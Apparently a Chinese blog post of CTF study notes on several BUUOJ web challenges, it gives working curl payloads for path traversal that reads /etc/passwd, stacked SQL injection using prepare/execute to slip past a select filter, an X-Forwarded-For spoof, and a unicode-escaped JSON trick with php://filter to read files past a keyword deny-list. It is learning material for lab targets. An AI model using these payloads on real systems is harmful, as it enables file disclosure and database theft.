信息安全学习笔记 - BUUOJ Web

最近(2020-04-18)南邮CTF平台登不上去,chrome总提示连接超时.

Posted by kayoch1n's blog on April 18, 2020

正文

[HCTF 2018] WarmUp 1

site='http://a762a799-746e-4549-beb3-a076fbfd409e.node3.buuoj.cn/'
# 发现注释里有一个source.php 结果是一堆 entity encoding,先用 perl 处理一下
curl $site/source.php | perl -MHTML::Entities -pe 'decode_entities($_)' > source.php
# 看下是什么编码?
file source.php
# source.php: ISO-8859 text, with very long lines
# 转换一下编码
iconv -f 'ISO-8859-1' -t 'UTF-8' source.php -o source.php
# 改后缀html。这个东西用浏览器打开后看起来像是源代码,但是有很多html标签;用脚本再处理一下,终于能看了
# 源代码的意思大概是包含一个名字和参数file的值相同的文件;
# 本来只能包含白名单source和hint这两个文件,但是这个脚本会截取字符串中"?"之前的内容用来和白名单比较。
cp source.php source.html
./hctf_2018_warm_up_1_strip.py source.html > source.php

# 发现有个hint.php
curl $site/hint.php
# flag not here, and flag in ffffllllaaaagggg

# 尝试访问 ffffllllaaaagggg 未果
curl $site/ffffllllaaaagggg
curl $site/source.php?file=ffffllllaaaagggg
# 不行

谷歌说可以给参数插入问号?和连续多个父目录..,比如PHP会把 hint.php?/../之后的内容视为当前目录,这里的原理还没有完全弄清楚;可能源码截取”?”是在提示这个现象的?

# 因为源码用了REQUEST,参数既可以从查询参数,也可以从表单中取得
curl $site/source.php -X POST -d 'file=hint.php?/../../../../etc/passwd'
curl $site/source.php?file=hint.php?/../../../../etc/passwd
# 插入很多个父目录
curl $site/source.php?file=hint.php?/../../../../../ffffllllaaaagggg
# !/usr/bin/python3
# encoding=utf8
# hctf_2018_warm_up_1_strip.py
# Remove html tags
import sys

with open(sys.argv[1], encoding='utf8') as f:
  import re
  content = f.read()
  
  content = re.sub(r'\<span[^>]+\>', '', content)
  content = re.sub(r'\</span>', '', content)
  content = re.sub(r'\<br\s*/\>', '\n', content)
  print(content)

[强网杯 2019]随便注 1

site="http://91b13641-161f-4df8-9290-e2d26f5c5340.node3.buuoj.cn"
# 有一个 inject 参数。发现是 PHP
curl $site/?inject=1

# q("1' -- a")
# 带上引号和注释,发现没有报错,原来的SQL应该是 'SELECT * FROM WHERE A=\''.$inject.'\' ... '
curl $site/?inject=1%27%20--%20a

# q("1' order by 3 -- a")
# 报错,表示有2列
curl $site/?inject=1%27%20order%20by%203%20--%20a

# q("9' union select 1,2,3 -- a")
# 不OK。下面的正则表达式表示关键字 select等,以及句号 . 被过滤掉了,大小写不能通过
# return preg_match("/select|update|delete|drop|insert|where|\./i",$inject)
curl $site/?inject=9%27%20union%20select%201%2C2%2C3%20--%20a
# error-based sqli 看用户名 root@localhost,数据库名 supersqli,版本 10.3.18-MariaDB
# q("9' and extractvalue('',concat('~',user(),'~')) -- a")
curl $site/?inject=9%27%20and%20extractvalue%28%27%27%2Cconcat%28%27%7E%27%2Cuser%28%29%2C%27%7E%27%29%29%20--%20a

止步于此了,挫折感满满啊’_‘。谷歌说可以尝试看下是否可以注入多个SQL语句;另外 select 被过滤了不能用来查DB,但可以尝试 show 和 desc 。事后证明这个题目的源代码使用到了PHP multi_query

# 看schema 
# q("1';show databases#")
# 这里也不需要短路,会直接显示所有表
curl $site/?inject=1%27%3Bshow%20databases%23
# 看表
# q("1';show tables#")
# 有两个表,1919810931114514 和 words
curl $site/?inject=9%27%3Bshow%20tables%23
# 看表结构
# q("1'; desc `1919810931114514` #")
# 有两列 flag 和 NO,答案就在这个表 
curl $site/?inject=1%27%3B%20desc%20%601919810931114514%60%20%23

但是还是不清楚怎么把答案select出来。谷歌说还有一种叫做预编译SQL的操作,简单来说就是在允许执行多个SQL语句的情况下,先prepare拼接sql语句然后execute。谢天谢地没把from以及这几个关键字过滤掉。

# q("1'; prepare stat from concat('sel', 'ect * from `1919810931114514`'); execute stat;#")
# 有两列 flag 和 NO,答案就在这个表 
curl $site/?inject=1%27%3B%20desc%20%601919810931114514%60%20%23

知乎文章表示,因为可以执行多个SQL语句,所以可以把答案所在表的名字和列名改成被注入的SQL语句的,让原来的sql语句直接把答案select出来,太厉害了。

[MRCTF2020]PYWebsite

跟南邮题目伪装者是一类

site=http://node3.buuoj.cn:29631
curl $site
# 有一个flag.php
curl $site/flag.php
# 提示“验证逻辑是在后端的,除了购买者和我自己,没有人可以看到flag”
# 划重点:自己
curl $site/flag.php -H 'Client-Ip: 127.0.0.1'  # 不OK
curl $site/flag.php -H 'X-Forwarded-For: 127.0.0.1'  # OK

Harekaze CTF 2019: Encode & Encode

site=http://4bbdd3ac-3f3c-408a-8106-2a807cde3d21.node3.buuoj.cn
curl $site
curl $site/query.php
curl $site/query.php -X POST -d '{"page":"flag"}'

源代码有个函数把一些关键字过滤掉。

// Source
function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

无从下手╮(╯_╰)╭。谷歌说这个题的关键在于校验方式存在缺陷:is_valid检查的是JSON字符串,然而file_get_contents使用的是经过JSON反序列化之后的内容;正常的做法应该是先反序列化,然后再使用is_valid。

// Source
$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

JSON标准规定所有解码器都要处理转义的字符序列(如下图所示)。尽管is_valid过滤原始参数中的关键字,但是如果关键字使用unicode码点进行转义,is_valid的作用就失效了

JSON Standard

import json

s='file:///etc/hosts'
print(json.dumps(dict(page='%s')) % ''.join([f'\\u{hex(ord(i)).replace("x", "0")}' for i in s]))
# {"page": "\u0066\u0069\u006c\u0065\u003a\u002f\u002f\u002f\u0065\u0074\u0063\u002f\u0068\u006f\u0073\u0074\u0073"}
# OK {"content":"127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-loopback\nfe00::0\tip6-localnet\nff00::0\tip6-mcastprefix\nff02::1\tip6-allnodes\nff02::2\tip6-allrouters\n174.0.59.166\t5ff83e563e21\n"}
curl $site/query.php -X POST -d '{"page": "\u0066\u0069\u006c\u0065\u003a\u002f\u002f\u002f\u0065\u0074\u0063\u002f\u0068\u006f\u0073\u0074\u0073"}'

如果直接包含答案文件 /flag,最后源码会将答案过滤掉:

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

这里可以运用南邮文件包含的方法,使用php://filter和base64编码绕过:

s='php://filter/read=convert.base64-encode/resource=/flag'
print(json.dumps(dict(page='%s')) % ''.join([f'\\u{hex(ord(i)).replace("x", "0")}' for i in s]))
# {"page": "\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0072\u0065\u0061\u0064\u003d\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}
curl $site/query.php -X POST -d '{"page": "\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0072\u0065\u0061\u0064\u003d\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}'
# {"content":"ZmxhZ3sxODE3Zjk5MC05NjY1LTQzNmItYWVmZi03NzUyZmU0ZGM5YzB9Cg=="}
from base64 import b64encode as be, b64decode as bd

print(bd('ZmxhZ3sxODE3Zjk5MC05NjY1LTQzNmItYWVmZi03NzUyZmU0ZGM5YzB9Cg==').decode())

[SUCTF 2019]EasySQL

目前做了两个和SQLi有关的题目,发现自己在寻找注入方向上存在困难,也不知道如何从错误信息看出哪些关键字被过滤了。。。看来需要总结一下SQL手工注入的方法论!

真的,真的,源代码在手真的事半功倍。

这道题依旧是和执行多条SQL语句的PHP函数 multi_query 有关,而考点是 sql_mode PIPES_AS_CONCAT。使用语句SET sql_mode=PIPES_AS_CONCAT设置模式之后,源SQL的含义会发生变化:

-- Source
select ".$post['query']."||flag from Flag;

-- Original
select 1 || /* OR */ flag from Flag;

-- Attacker's attempt
set sql_mode=PIPES_AS_CONCAT;
select concat(1, flag) from Flag;

Notes

  • php
  • sql
    • error-based sqli
      • extractvalue(frag, xpath) xpath
    • Prepared statement
      • prepare; set; execute
    • show databases/tables, desc and show columns from XXX
    • SET sql_mode=PIPES_AS_CONCAT
  • http
    • JSON
      • escaped sequences
  • shell
    • curl
      • --data-urlencode with -G encodes data and appends to the URL with a ‘?’